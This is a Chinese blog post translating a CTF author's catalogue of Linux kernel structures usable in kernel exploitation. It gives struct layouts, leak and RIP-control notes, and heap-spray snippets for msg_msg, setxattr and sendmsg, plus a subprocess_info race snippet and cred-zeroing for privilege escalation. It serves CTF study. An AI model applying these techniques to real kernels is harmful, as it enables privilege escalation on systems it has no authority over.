← 文章归档

(翻译)kernel pwn中能利用的一些结构体

原文链接:任意データ書き込みHeap-Sprayに使える構造体 前段时间在asis ctf里面看到一个kernel题,是一个slab的off by null。想起了之前看到的CVE-2016-6187的利用,但是调了半天还是没调出来,想了想自己确实也很久没有跟过kernel的…

原文链接:任意データ書き込みHeap-Sprayに使える構造体

前段时间在asis ctf里面看到一个kernel题,是一个slab的off by null。想起了之前看到的CVE-2016-6187的利用,但是调了半天还是没调出来,想了想自己确实也很久没有跟过kernel的一些东西了,正好看到出题人有一个关于kernel的总结,看了一下觉得很不错,于是就总结过来了,以后做kernel题的时候也能来翻一翻

截止目前,原作者还没有找到kmalloc-8,kmalloc-16,kmalloc-64,kmalloc-512对应slab能够方便利用的结构体,之后有空可以去翻一翻。作者也针对这些结构体做了测试:https://bitbucket.org/ptr-yudai/kexp-objects/src/master/

可能用来leak / 任意地址读写 / 控制rip的一些结构体

shm_file_data

大小:0x20(kmalloc-32) kernel base:ns,vm_ops指向内核数据区域,因此可能发生泄漏。 堆:文件指向堆区域,因此可能会泄漏。 栈:无法泄漏。 RIP control:可能不太行。 创建:使用shmat映射共享内存。 释放:应该由shmctl销毁? 备注:我尝试重写vm_ops,但在特殊情况下,shmget不会调用伪造的vtable函数指针。 参考:https://elixir.bootlin.com/linux/v4.19.98/source/ipc/shm.c#L74

struct shm_file_data {
	int id;
	struct ipc_namespace *ns;
	struct file *file;
	const struct vm_operations_struct *vm_ops;
};
#define shm_file_data(file) (*((struct shm_file_data **)&(file)->private_data))

使用方法:

 int shmid;
  if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) {
    perror("shmget");
    return 1;
  }
  char *shmaddr = shmat(shmid, NULL, 0);
  if (shmaddr == (void*)-1) {
    perror("shmat");
    return 1;
  }

seq_operations

大小:0x20(kmalloc-32) base:可能从四个函数指针中的任何一个泄漏。 堆:不能泄漏。 栈:无法泄漏。 RIP control:重写start变量并调用read,就可以成功控制rip。 申请:使用了single_open打开的文件,比如/proc/self/stat。 释放:关闭文件。 参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/seq_file.h#L32

struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

使用方法:

int victim = open("/proc/self/stat", O_RDONLY);
read(victim, buf, 1); // call start 

msg_msg (+user-supplied data)

大小:0x31-0x1000(kmalloc-64及以上) kernel base:不能泄漏。 堆:next可以指向以前的msgsnded消息,可以被泄漏。 并且因为它也是指向slab上的地址,该地址泄露的slab地址与以前msgsnded的数据大小相对应。 栈:无法泄漏。 RIP:没法控制。 申请:msgget和msgsnd。 释放:msgrcv。 但是,由于第一个msgsnd是按顺序接收的,因此kfree的顺序也是发送的顺序。 备注:这是一个非常方便的结构体,因为用户可以写入具有可变大小的任意数据,但是前48个字节在结构中使用不能被重写。 只能使用UAF进行读取时,可以在泄漏堆地址之后在堆上准备数据。 它似乎经常用于堆喷。 参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/msg.h#L9

struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

使用方法:

  int qid;
  if ((qid = msgget(123, 0666|IPC_CREAT)) == -1) {
    perror("msgget");
    return 1;
  }
  struct {
    long mtype;
    char mtext[0x50 - 0x30];
  } msgbuf;
  msgbuf.mtype = 1;
  strcpy(msgbuf.mtext, "AAAABBBBCCCCDDDDEEEEFFFFF");
  if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext), 0) == -1) {
    perror("msgsnd");
    return 1;
  }

subprocess_info

大小:0x60(kmalloc-128) kernel base:work.func指向call_usermodehelper_exec_work,因此可以泄漏。 堆:可能会泄漏,但尚未验证是哪里的SLUB数据。 栈:无法泄漏。 RIP:可以通过条件竞争等方式确保安全的同时重写cleanup来控制RIP。 申请:似乎有很多种办法,但是已经确认的是使用socket(22,AF_INET,0)指定未知协议的方法。 释放:它以与申请相同的方式释放。 备注:我以为我无法写入或使用数据,但是由于存在从设置info->cleanupif(info->cleanup) info->cleanup(info)存在一定的时间差,所以还是可以成功覆盖。但是,由于某种原因,即使是ROP返回到用户空间后,它也会死在使用fs或syscall的地方。如果禁用了SMAP,我认为可以用userland覆盖fd并将其与userfaultfd组合以覆盖清除。 参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/umh.h#L19

struct subprocess_info {
	struct work_struct work;
	struct completion *complete;
	const char *path;
	char **argv;
	char **envp;
	struct file *file;
	int wait;
	int retval;
	pid_t pid;
	int (*init)(struct subprocess_info *info, struct cred *new);
	void (*cleanup)(struct subprocess_info *info);
	void *data;
} __randomize_layout;

// https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/workqueue.h#L102
struct work_struct {
	atomic_long_t data;
	struct list_head entry;
	work_func_t func;
#ifdef CONFIG_LOCKDEP
	struct lockdep_map lockdep_map;
#endif
};

使用方法:

int race_flag = 0;
void *race(void *arg) {
  unsigned long *info = (unsigned long*)arg;
  info[0] = 0;
  info[11] = 0xdeadbeef; // cleanup
  while(1) {
    store(0x80, (void*)info);  // write the struct
    if (race_flag) break;
  }
  return NULL;
}


  socket(22, AF_INET, 0);
/* get rip */
  pthread_t th;
  pthread_create(&th, NULL, race, (void*)buf);
  while(1) {
    usleep(1);
    socket(22, AF_INET, 0); // kzalloc & kfree
    if (race_flag) break;
  }

cred

这个结构体应该只能在老版本的内核里面才能利用了,新版本的内核似乎将cred的分配方式改了,正常的uaf应该是拿不到这个结构体的,不过也可以暴力搜内存来找这个结构体。搜索cred结构体的方法:

每个线程在内核中都对应一个线程栈、一个线程结构块thread_info去调度,结构体同时也包含了线程的一系列信息。thread_info结构体存放位于线程栈的最低地址,对应的结构体定义(\arch\x86\include\asm\thread_info.h)

struct thread_info {
    struct task_struct  *task;      /* main task structure */                    
    __u32           flags;      /* low level flags */
    __u32           status;     /* thread synchronous flags */
    __u32           cpu;        /* current CPU */
    mm_segment_t        addr_limit;
    unsigned int        sig_on_uaccess_error:1;
    unsigned int        uaccess_err:1;  /* uaccess failed */
};

thread_info中最重要的信息是task_struct结构体,定义在(include\linux\sched.h),task_struct里有个char comm[TASK_COMM_LEN];结构,这个结构可通过prctl函数中的PR_SET_NAME功能,设置为一个小于16字节的字符串。

    char target[16];
    strcpy(target,"deadbeefdeadbeef");
    prctl(PR_SET_NAME , target);
struct task_struct {
    volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
    void *stack;
    atomic_t usage;
    unsigned int flags; /* per process flags, defined below */
    unsigned int ptrace;
... ...

/* process credentials */
    const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
    const struct cred __rcu *real_cred; /* objective and real subjective task
                     * credentials (COW) */
    const struct cred __rcu *cred;  /* effective (overridable) subjective task
                     * credentials (COW) */
    char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                     - initialized normally by setup_new_exec */
/* file system info */
    struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
    struct sysv_sem sysvsem;
    struct sysv_shm sysvshm;
#endif
... ... 
};

而cred结构体就是可以表示当前进程权限的结构体,搜索到特定字符串之后直接可以获取这个东西的值进行更改。

大小:0xa8(kmalloc-192) kernel base:不能泄露。 堆:session_keyring等可能泄漏,但是也不知道是哪个SLUB。 栈:不行。 RIP:不行。 申请:fork。 释放:退出创建的进程。 备注:由于它具有uid,gid等,如果可以将其填充为0,则可以提升特权。 但是,我认为cred未包含在已验证的4.19.98中的kmalloc中。 参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/cred.h#L116

/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task.  These parts are used when some other
 *	task is attempting to affect this one.
 *
 *  (2) The subjective context.  These details are used when the task is acting
 *	upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task->real_cred points to the objective
 * context that defines that task's actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task->cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task->real_cred.
 */
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	/* RCU deletion */
	union {
		int non_rcu;			/* Can we skip RCU deletion? */
		struct rcu_head	rcu;		/* RCU deletion hook */
	};
} __randomize_layout;

timerfd_ctx

大小:?(kmalloc-256) base:tmr.function指向timerfd_tmrproc,因此可能会泄漏。 堆:可能从tmr.base等泄漏。 栈:无法泄漏。 rip:不太行。 创建:调用timerfd_create。 释放:关闭tfd? 参考:https://elixir.bootlin.com/linux/v4.19.98/source/fs/timerfd.c#L30

struct timerfd_ctx {
	union {
		struct hrtimer tmr;
		struct alarm alarm;
	} t;
	ktime_t tintv;
	ktime_t moffs;
	wait_queue_head_t wqh;
	u64 ticks;
	int clockid;
	short unsigned expired;
	short unsigned settime_flags;	/* to show in fdinfo */
	struct rcu_head rcu;
	struct list_head clist;
	spinlock_t cancel_lock;
	bool might_cancel;
};

使用方法:

 struct itimerspec timespec = {{0, 0}, {100, 0}};
  int tfd = timerfd_create(CLOCK_REALTIME, 0);
  timerfd_settime(tfd, 0, &timespec, 0);

tty_struct

我博客中的babydriver一题的解法就是覆盖的tty_operations(https://pzhxbz.cn/?p=99),感觉可以对照着看

大小:0x2e0(kmalloc-1024) kernel base:ops指向ptm_unix98_ops,因此它可能会泄漏。 除此之外,我还看出来了大约两个地方是内核数据区域。 堆:许多对象(例如dev和driver)都指向堆及其成员,因此可能发生泄漏。 尚未调查目标SLUB。 栈:我不会泄漏。 申请:打开/dev/ptmx。 释放:关闭打开的ptmx。 备注:RIP可以通过重写ops来控制。 参考:https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/tty.h#L283


struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;

	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;
	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

/* tty magic number */
#define TTY_MAGIC		0x5401

使用方法:

int victim = open("/dev/ptmx", O_RDWR | O_NOCTTY);

可用于写入任意数据/堆喷的结构

msg_msg

说过了.jpg

setxattr

大小:任意(<= 65536) 使用方法:setxattr。 插入指向要在值中写入的值的指针并指定大小。 注意:与userfaultfd结合使用。 前48个字节不能在msgsnd中重写,因此在要支持它时很方便。 它也可以用作堆喷。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
         size_t size, int flags)
{
        int error;
        void *kvalue = NULL;
        void *vvalue = NULL;    /* If non-NULL, we used vmalloc() */
        char kname[XATTR_NAME_MAX + 1];

        if (flags & ~(XATTR_CREATE|XATTR_REPLACE))
                return -EINVAL;

        error = strncpy_from_user(kname, name, sizeof(kname));
        if (error == 0 || error == sizeof(kname))
                error = -ERANGE;
        if (error < 0)
                return error;

        if (size) {
                if (size > XATTR_SIZE_MAX)
                        return -E2BIG;
                kvalue = kmalloc(size, GFP_KERNEL | __GFP_NOWARN);
                if (!kvalue) {
                        vvalue = vmalloc(size);
                        if (!vvalue)
                                return -ENOMEM;
                        kvalue = vvalue;
                }
                if (copy_from_user(kvalue, value, size)) {
                        error = -EFAULT;
                        goto out;
                }
                if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
                    (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
                        posix_acl_fix_xattr_from_user(kvalue, size);
        }

        error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
        if (vvalue)
                vfree(vvalue);
        else
                kfree(kvalue);
        return error;
}

sendmsg

大小:任意(> = 2) 使用方法:sendmsg。 将指针放在msg.msg_control中,将大小放在msg.msg_controllen中。 注意:与setxattr相同,但与userfaultfd结合使用。

//限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE; 
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
  sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可

补充材料参考文章:

https://xz.aliyun.com/t/6286

https://duasynt.com/blog/linux-kernel-heap-spray

https://xz.aliyun.com/t/2814

https://www.codercto.com/a/92554.html

COMMENTS

一起聊聊

0

正在搬小板凳…

留下一条评论

友善讨论,不需要注册。评论使用无感安全检查,并限制短时间内的提交次数。

Turnstile 无感防护验证码尚未配置,评论暂不可用